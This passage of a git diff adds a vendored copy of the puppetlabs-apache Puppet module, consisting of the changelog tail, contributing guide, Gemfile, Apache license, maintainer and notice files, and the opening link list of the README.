sites-available on Debian-based OSs +- Fix dependency ordering for recursive confdir management +- Fix `apache::mod::*` to notify the service on config change +- Documentation updates + +## Supported Release [0.7.0] +#### Changes: +- Essentially rewrite the module -- too many to list +- `apache::vhost` has many abilities -- see README.md for details +- `apache::mod::*` classes provide httpd mod-loading capabilities +- `apache` base class is much more configurable + +#### Bugfixes: +- Many. And many more to come + +## Supported Release [0.6.0] +- update travis tests (add more supported versions) +- add access log_parameter +- make purging of vhost dir configurable + +## Supported Release [0.4.0] +#### Changes: +- `include apache` is now required when using `apache::mod::*` + +#### Bugfixes: +- Fix syntax for validate_re +- Fix formatting in vhost template +- Fix spec tests such that they pass + +## Supported Release [0.0.4] +* e62e362 Fix broken tests for ssl, vhost, vhost::* +* 42c6363 Changes to match style guide and pass puppet-lint without error +* 42bc8ba changed name => path for file resources in order to name namevar by it's name +* 72e13de One end too much +* 0739641 style guide fixes: 'true' <> true, $operatingsystem needs to be $::operatingsystem, etc. +* 273f94d fix tests +* a35ede5 (#13860) Make a2enmod/a2dismo commands optional +* 98d774e (#13860) Autorequire Package['httpd'] +* 05fcec5 (#13073) Add missing puppet spec tests +* 541afda (#6899) Remove virtual a2mod definition +* 976cb69 (#13072) Move mod python and wsgi package names to params +* 323915a (#13060) Add .gitignore to repo +* fdf40af (#13060) Remove pkg directory from source tree +* fd90015 Add LICENSE file and update the ModuleFile +* d3d0d23 Re-enable local php class +* d7516c7 Make management of firewalls configurable for vhosts +* 60f83ba Explicitly lookup scope of apache_name in templates. +* f4d287f (#12581) Add explicit ordering for vdir directory +* 88a2ac6 (#11706) puppetlabs-apache depends on puppetlabs-firewall +* a776a8b (#11071) Fix to work with latest firewall module +* 2b79e8b (#11070) Add support for Scientific Linux +* 405b3e9 Fix for a2mod +* 57b9048 Commit apache::vhost::redirect Manifest +* 8862d01 Commit apache::vhost::proxy Manifest +* d5c1fd0 Commit apache::mod::wsgi Manifest +* a825ac7 Commit apache::mod::python Manifest +* b77062f Commit Templates +* 9a51b4a Vhost File Declarations +* 6cf7312 Defaults for Parameters +* 6a5b11a Ensure installed +* f672e46 a2mod fix +* 8a56ee9 add pthon support to apache + +[2.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.11.0...2.0.0 +[1.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...1.11.0 +[1.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...1.10.0 +[1.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...1.9.0 +[1.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.0...1.8.1 +[1.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.1...1.8.0 +[1.7.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.0...1.7.1 +[1.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.6.0...1.7.0 +[1.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.5.0...1.6.0 +[1.5.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.1...1.5.0 +[1.4.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.0...1.4.1 +[1.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.3.0...1.4.0 +[1.3.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.2.0...1.3.0 +[1.2.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.1...1.2.0 +[1.1.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.0...1.1.1 +[1.1.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.1...1.1.0 +[1.0.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.0...1.0.1 +[1.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.11.0...1.0.0 +[0.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...0.11.0 +[0.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...0.10.0 +[0.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...0.9.0 +[0.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.8.0...0.8.1 +[0.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.7.0...0.8.0 +[0.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.6.0...0.7.0 +[0.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.5.0-rc1...0.6.0 +[0.5.0-rc1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.4.0...0.5.0-rc1 +[0.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.3.0...0.4.0 +[0.0.4]:https://github.com/puppetlabs/puppetlabs-apache/commits/0.0.4 diff --git a/modules/services/unix/http/apache_kali_compatible/apache/CONTRIBUTING.md b/modules/services/unix/http/apache_kali_compatible/apache/CONTRIBUTING.md new file mode 100644 index 000000000..990edba7e --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/CONTRIBUTING.md @@ -0,0 +1,217 @@ +Checklist (and a short version for the impatient) +================================================= + + * Commits: + + - Make commits of logical units. + + - Check for unnecessary whitespace with "git diff --check" before + committing. + + - Commit using Unix line endings (check the settings around "crlf" in + git-config(1)). + + - Do not check in commented out code or unneeded files. + + - The first line of the commit message should be a short + description (50 characters is the soft limit, excluding ticket + number(s)), and should skip the full stop. + + - Associate the issue in the message. The first line should include + the issue number in the form "(#XXXX) Rest of message". + + - The body should provide a meaningful commit message, which: + + - uses the imperative, present tense: "change", not "changed" or + "changes". + + - includes motivation for the change, and contrasts its + implementation with the previous behavior. + + - Make sure that you have tests for the bug you are fixing, or + feature you are adding. + + - Make sure the test suites passes after your commit: + `bundle exec rspec spec/acceptance` More information on [testing](#Testing) below + + - When introducing a new feature, make sure it is properly + documented in the README.md + + * Submission: + + * Pre-requisites: + + - Make sure you have a [GitHub account](https://github.com/join) + + - [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for. + + * Preferred method: + + - Fork the repository on GitHub. + + - Push your changes to a topic branch in your fork of the + repository. (the format ticket/1234-short_description_of_change is + usually preferred for this project). + + - Submit a pull request to the repository in the puppetlabs + organization. + +The long version +================ + + 1. Make separate commits for logically separate changes. + + Please break your commits down into logically consistent units + which include new or changed tests relevant to the rest of the + change. The goal of doing this is to make the diff easier to + read for whoever is reviewing your code. In general, the easier + your diff is to read, the more likely someone will be happy to + review it and get it into the code base. + + If you are going to refactor a piece of code, please do so as a + separate commit from your feature or bug fix changes. + + We also really appreciate changes that include tests to make + sure the bug is not re-introduced, and that the feature is not + accidentally broken. + + Describe the technical detail of the change(s). If your + description starts to get too long, that is a good sign that you + probably need to split up your commit into more finely grained + pieces. + + Commits which plainly describe the things which help + reviewers check the patch and future developers understand the + code are much more likely to be merged in with a minimum of + bike-shedding or requested changes. Ideally, the commit message + would include information, and be in a form suitable for + inclusion in the release notes for the version of Puppet that + includes them. + + Please also check that you are not introducing any trailing + whitespace or other "whitespace errors". You can do this by + running "git diff --check" on your changes before you commit. + + 2. Sending your patches + + To submit your changes via a GitHub pull request, we _highly_ + recommend that you have them on a topic branch, instead of + directly on "master". + It makes things much easier to keep track of, especially if + you decide to work on another thing before your first change + is merged in. + + GitHub has some pretty good + [general documentation](http://help.github.com/) on using + their site. They also have documentation on + [creating pull requests](http://help.github.com/send-pull-requests/). + + In general, after pushing your topic branch up to your + repository on GitHub, you can switch to the branch in the + GitHub UI and click "Pull Request" towards the top of the page + in order to open a pull request. + + + 3. Update the related GitHub issue. + + If there is a GitHub issue associated with the change you + submitted, then you should update the ticket to include the + location of your branch, along with any other commentary you + may wish to make. + +Testing +======= + +Getting Started +--------------- + +Our puppet modules provide [`Gemfile`](./Gemfile)s which can tell a ruby +package manager such as [bundler](http://bundler.io/) what Ruby packages, +or Gems, are required to build, develop, and test this software. + +Please make sure you have [bundler installed](http://bundler.io/#getting-started) +on your system, then use it to install all dependencies needed for this project, +by running + +```shell +% bundle install +Fetching gem metadata from https://rubygems.org/........ +Fetching gem metadata from https://rubygems.org/.. +Using rake (10.1.0) +Using builder (3.2.2) +-- 8><-- many more --><8 -- +Using rspec-system-puppet (2.2.0) +Using serverspec (0.6.3) +Using rspec-system-serverspec (1.0.0) +Using bundler (1.3.5) +Your bundle is complete! +Use `bundle show [gemname]` to see where a bundled gem is installed. +``` + +NOTE some systems may require you to run this command with sudo. + +If you already have those gems installed, make sure they are up-to-date: + +```shell +% bundle update +``` + +With all dependencies in place and up-to-date we can now run the tests: + +```shell +% bundle exec rake spec +``` + +This will execute all the [rspec tests](http://rspec-puppet.com/) tests +under [spec/defines](./spec/defines), [spec/classes](./spec/classes), +and so on. rspec tests may have the same kind of dependencies as the +module they are testing. While the module defines in its [Modulefile](./Modulefile), +rspec tests define them in [.fixtures.yml](./fixtures.yml). + +Some puppet modules also come with [beaker](https://github.com/puppetlabs/beaker) +tests. These tests spin up a virtual machine under +[VirtualBox](https://www.virtualbox.org/)) with, controlling it with +[Vagrant](http://www.vagrantup.com/) to actually simulate scripted test +scenarios. In order to run these, you will need both of those tools +installed on your system. + +You can run them by issuing the following command + +```shell +% bundle exec rake spec_clean +% bundle exec rspec spec/acceptance +``` + +This will now download a pre-fabricated image configured in the [default node-set](./spec/acceptance/nodesets/default.yml), +install puppet, copy this module and install its dependencies per [spec/spec_helper_acceptance.rb](./spec/spec_helper_acceptance.rb) +and then run all the tests under [spec/acceptance](./spec/acceptance). + +Writing Tests +------------- + +XXX getting started writing tests. + +If you have commit access to the repository +=========================================== + +Even if you have commit access to the repository, you will still need to +go through the process above, and have someone else review and merge +in your changes. The rule is that all changes must be reviewed by a +developer on the project (that did not write the code) to ensure that +all changes go through a code review process. + +Having someone other than the author of the topic branch recorded as +performing the merge is the record that they performed the code +review. + + +Additional Resources +==================== + +* [Getting additional help](http://puppet.com/community/get-help) + +* [Writing tests](https://docs.puppet.com/guides/module_guides/bgtm.html#step-three-module-testing) + +* [General GitHub documentation](http://help.github.com/) + +* [GitHub pull request documentation](http://help.github.com/send-pull-requests/) diff --git a/modules/services/unix/http/apache_kali_compatible/apache/Gemfile b/modules/services/unix/http/apache_kali_compatible/apache/Gemfile new file mode 100644 index 000000000..46cb2eace --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/Gemfile @@ -0,0 +1,75 @@ +#This file is generated by ModuleSync, do not edit. + +source ENV['GEM_SOURCE'] || "https://rubygems.org" + +# Determines what type of gem is requested based on place_or_version. +def gem_type(place_or_version) + if place_or_version =~ /^git:/ + :git + elsif place_or_version =~ /^file:/ + :file + else + :gem + end +end + +# Find a location or specific version for a gem. place_or_version can be a +# version, which is most often used. It can also be git, which is specified as +# `git://somewhere.git#branch`. You can also use a file source location, which +# is specified as `file://some/location/on/disk`. +def location_for(place_or_version, fake_version = nil) + if place_or_version =~ /^(git[:@][^#]*)#(.*)/ + [fake_version, { :git => $1, :branch => $2, :require => false }].compact + elsif place_or_version =~ /^file:\/\/(.*)/ + ['>= 0', { :path => File.expand_path($1), :require => false }] + else + [place_or_version, { :require => false }] + end +end + +# Used for gem conditionals +supports_windows = false +ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments +minor_version = "#{ruby_version_segments[0]}.#{ruby_version_segments[1]}" + +group :development do + gem "puppet-module-posix-default-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-default-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "puppet-module-posix-dev-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-dev-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "json_pure", '<= 2.0.1', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') + gem "fast_gettext", '1.1.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0') + gem "fast_gettext", :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0') +end + +group :system_tests do + gem "puppet-module-posix-system-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-system-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '>= 3') + gem "beaker-pe", :require => false + gem "beaker-rspec", *location_for(ENV['BEAKER_RSPEC_VERSION']) + gem "beaker-hostgenerator", *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION']) + gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1') +end + +gem 'puppet', *location_for(ENV['PUPPET_GEM_VERSION']) + +# Only explicitly specify Facter/Hiera if a version has been specified. +# Otherwise it can lead to strange bundler behavior. If you are seeing weird +# gem resolution behavior, try setting `DEBUG_RESOLVER` environment variable +# to `1` and then run bundle install. +gem 'facter', *location_for(ENV['FACTER_GEM_VERSION']) if ENV['FACTER_GEM_VERSION'] +gem 'hiera', *location_for(ENV['HIERA_GEM_VERSION']) if ENV['HIERA_GEM_VERSION'] + + +# Evaluate Gemfile.local if it exists +if File.exists? "#{__FILE__}.local" + eval(File.read("#{__FILE__}.local"), binding) +end + +# Evaluate ~/.gemfile if it exists +if File.exists?(File.join(Dir.home, '.gemfile')) + eval(File.read(File.join(Dir.home, '.gemfile')), binding) +end + +# vim:ft=ruby diff --git a/modules/services/unix/http/apache_kali_compatible/apache/LICENSE b/modules/services/unix/http/apache_kali_compatible/apache/LICENSE new file mode 100644 index 000000000..d64569567 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/services/unix/http/apache_kali_compatible/apache/MAINTAINERS.md b/modules/services/unix/http/apache_kali_compatible/apache/MAINTAINERS.md new file mode 100644 index 000000000..18a33881e --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/MAINTAINERS.md @@ -0,0 +1,6 @@ +## Maintenance + +Maintainers: + - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com` + +Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `apache`. diff --git a/modules/services/unix/http/apache_kali_compatible/apache/NOTICE b/modules/services/unix/http/apache_kali_compatible/apache/NOTICE new file mode 100644 index 000000000..77c13089a --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/NOTICE @@ -0,0 +1,15 @@ +Puppet Module - puppetlabs-apache + +Copyright 2017 Puppet, Inc. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. \ No newline at end of file diff --git a/modules/services/unix/http/apache_kali_compatible/apache/README.md b/modules/services/unix/http/apache_kali_compatible/apache/README.md new file mode 100755 index 000000000..90f4a7094 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/README.md @@ -0,0 +1,5192 @@ +# apache + +[Module description]: #module-description + +[Setup]: #setup +[Beginning with Apache]: #beginning-with-apache + +[Usage]: #usage +[Configuring virtual hosts]: #configuring-virtual-hosts +[Configuring virtual hosts with SSL]: #configuring-virtual-hosts-with-ssl +[Configuring virtual host port and address bindings]: #configuring-virtual-host-port-and-address-bindings +[Configuring virtual hosts for apps and processors]: #configuring-virtual-hosts-for-apps-and-processors +[Configuring IP-based virtual hosts]: #configuring-ip-based-virtual-hosts +[Installing Apache modules]: #installing-apache-modules +[Installing arbitrary modules]: #installing-arbitrary-modules +[Installing specific modules]: #installing-specific-modules +[Configuring FastCGI servers]: #configuring-fastcgi-servers-to-handle-php-files +[Load balancing examples]: #load-balancing-examples +[apache affects]: #what-the-apache-module-affects + +[Reference]: #reference +[Public classes]: #public-classes +[Private classes]: #private-classes +[Public defined types]: #public-defined-types +[Private defined types]: #private-defined-types +[Templates]: #templates + +[Limitations]: #limitations + +[Development]: #development +[Contributing]: #contributing +[Testing]: #testing + +[`AddDefaultCharset`]: https://httpd.apache.org/docs/current/mod/core.html#adddefaultcharset +[`add_listen`]: #add_listen +[`Alias`]: https://httpd.apache.org/docs/current/mod/mod_alias.html#alias +[`AliasMatch`]: https://httpd.apache.org/docs/current/mod/mod_alias.html#aliasmatch +[aliased servers]: https://httpd.apache.org/docs/current/urlmapping.html +[`AllowEncodedSlashes`]: https://httpd.apache.org/docs/current/mod/core.html#allowencodedslashes +[`apache`]: #class-apache +[`apache_version`]: #apache_version +[`apache::balancer`]: #defined-type-apachebalancer +[`apache::balancermember`]: #defined-type-apachebalancermember +[`apache::fastcgi::server`]: #defined-type-apachefastcgiserver +[`apache::mod`]: #defined-type-apachemod +[`apache::mod::`]: #classes-apachemodmodule-name +[`apache::mod::alias`]: #class-apachemodalias +[`apache::mod::auth_cas`]: #class-apachemodauth_cas +[`apache::mod::auth_mellon`]: #class-apachemodauth_mellon +[`apache::mod::authn_dbd`]: #class-apachemodauthn_dbd +[`apache::mod::authnz_ldap`]: #class-apachemodauthnz_ldap +[`apache::mod::cluster`]: #class-apachemodcluster +[`apache::mod::disk_cache`]: #class-apachemoddisk_cache +[`apache::mod::dumpio`]: #class-apachemoddumpio +[`apache::mod::event`]: #class-apachemodevent +[`apache::mod::ext_filter`]: #class-apachemodext_filter +[`apache::mod::geoip`]: #class-apachemodgeoip +[`apache::mod::itk`]: #class-apachemoditk +[`apache::mod::ldap`]: #class-apachemodldap +[`apache::mod::passenger`]: #class-apachemodpassenger +[`apache::mod::peruser`]: #class-apachemodperuser +[`apache::mod::prefork`]: #class-apachemodprefork +[`apache::mod::proxy`]: #class-apachemodproxy +[`apache::mod::proxy_balancer`]: #class-apachemodproxybalancer +[`apache::mod::proxy_fcgi`]: #class-apachemodproxy_fcgi +[`apache::mod::proxy_html`]: #class-apachemodproxy_html +[`apache::mod::security`]: #class-apachemodsecurity +[`apache::mod::shib`]: #class-apachemodshib +[`apache::mod::ssl`]: #class-apachemodssl +[`apache::mod::status`]: #class-apachemodstatus +[`apache::mod::worker`]: #class-apachemodworker +[`apache::mod::wsgi`]: #class-apachemodwsgi +[`apache::params`]: #class-apacheparams +[`apache::version`]: #class-apacheversion +[`apache::vhost`]: #defined-type-apachevhost +[`apache::vhost::custom`]: #defined-type-apachevhostcustom +[`apache::vhost::WSGIImportScript`]: #wsgiimportscript +[Apache HTTP Server]: https://httpd.apache.org +[Apache modules]: https://httpd.apache.org/docs/current/mod/ +[array]: https://docs.puppet.com/puppet/latest/reference/lang_data_array.html + +[audit log]: https://github.com/SpiderLabs/ModSecurity/wiki/ModSecurity-2-Data-Formats#audit-log + +[beaker-rspec]: https://github.com/puppetlabs/beaker-rspec + +[certificate revocation list]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationfile +[certificate revocation list path]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationpath +[common gateway interface]: https://httpd.apache.org/docs/current/howto/cgi.html +[`confd_dir`]: #confd_dir +[`content`]: #content +[custom error documents]: https://httpd.apache.org/docs/current/custom-error.html +[`custom_fragment`]: #custom_fragment + +[`default_mods`]: #default_mods +[`default_ssl_crl`]: #default_ssl_crl +[`default_ssl_crl_path`]: #default_ssl_crl_path +[`default_ssl_vhost`]: #default_ssl_vhost +[`dev_packages`]: #dev_packages +[`directory`]: #directory +[`directories`]: #parameter-directories-for-apachevhost +[`DirectoryIndex`]: https://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex +[`docroot`]: #docroot +[`docroot_owner`]: #docroot_owner +[`docroot_group`]: #docroot_group +[`DocumentRoot`]: https://httpd.apache.org/docs/current/mod/core.html#documentroot + +[`EnableSendfile`]: https://httpd.apache.org/docs/current/mod/core.html#enablesendfile +[enforcing mode]: http://selinuxproject.org/page/Guide/Mode +[`ensure`]: https://docs.puppet.com/latest/type.html#package-attribute-ensure +[`error_log_file`]: #error_log_file +[`error_log_syslog`]: #error_log_syslog +[`error_log_pipe`]: #error_log_pipe +[`ExpiresByType`]: https://httpd.apache.org/docs/current/mod/mod_expires.html#expiresbytype +[exported resources]: http://docs.puppet.com/latest/reference/lang_exported.md +[`ExtendedStatus`]: https://httpd.apache.org/docs/current/mod/core.html#extendedstatus + +[Facter]: http://docs.puppet.com/facter/ +[FastCGI]: http://www.fastcgi.com/ +[FallbackResource]: https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource +[`fallbackresource`]: #fallbackresource +[`FileETag`]: https://httpd.apache.org/docs/current/mod/core.html#fileetag +[filter rules]: https://httpd.apache.org/docs/current/filter.html +[`filters`]: #filters +[`ForceType`]: https://httpd.apache.org/docs/current/mod/core.html#forcetype + +[GeoIPScanProxyHeaders]: http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Proxy-Related_Directives +[`gentoo/puppet-portage`]: https://github.com/gentoo/puppet-portage + +[Hash]: https://docs.puppet.com/puppet/latest/reference/lang_data_hash.html +[`HttpProtocolOptions`]: http://httpd.apache.org/docs/current/mod/core.html#httpprotocoloptions + +[`IncludeOptional`]: https://httpd.apache.org/docs/current/mod/core.html#includeoptional +[`Include`]: https://httpd.apache.org/docs/current/mod/core.html#include +[interval syntax]: https://httpd.apache.org/docs/current/mod/mod_expires.html#AltSyn +[`ip`]: #ip +[`ip_based`]: #ip_based +[IP-based virtual hosts]: https://httpd.apache.org/docs/current/vhosts/ip-based.html + +[`KeepAlive`]: https://httpd.apache.org/docs/current/mod/core.html#keepalive +[`KeepAliveTimeout`]: https://httpd.apache.org/docs/current/mod/core.html#keepalivetimeout +[`keepalive` parameter]: #keepalive +[`keepalive_timeout`]: #keepalive_timeout +[`limitreqfieldsize`]: https://httpd.apache.org/docs/current/mod/core.html#limitrequestfieldsize + +[`lib`]: #lib +[`lib_path`]: #lib_path +[`Listen`]: https://httpd.apache.org/docs/current/bind.html +[`ListenBackLog`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#listenbacklog +[`LoadFile`]: https://httpd.apache.org/docs/current/mod/mod_so.html#loadfile +[`LogFormat`]: https://httpd.apache.org/docs/current/mod/mod_log_config.html#logformat +[`logroot`]: #logroot +[Log security]: https://httpd.apache.org/docs/current/logs.html#security + +[`manage_docroot`]: #manage_docroot +[`manage_user`]: #manage_user +[`manage_group`]: #manage_group +[`supplementary_groups`]: #supplementary_groups +[`MaxConnectionsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxconnectionsperchild +[`max_keepalive_requests`]: #max_keepalive_requests +[`MaxRequestWorkers`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxrequestworkers +[`MaxSpareThreads`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxsparethreads +[MIME `content-type`]: https://www.iana.org/assignments/media-types/media-types.xhtml +[`MinSpareThreads`]: 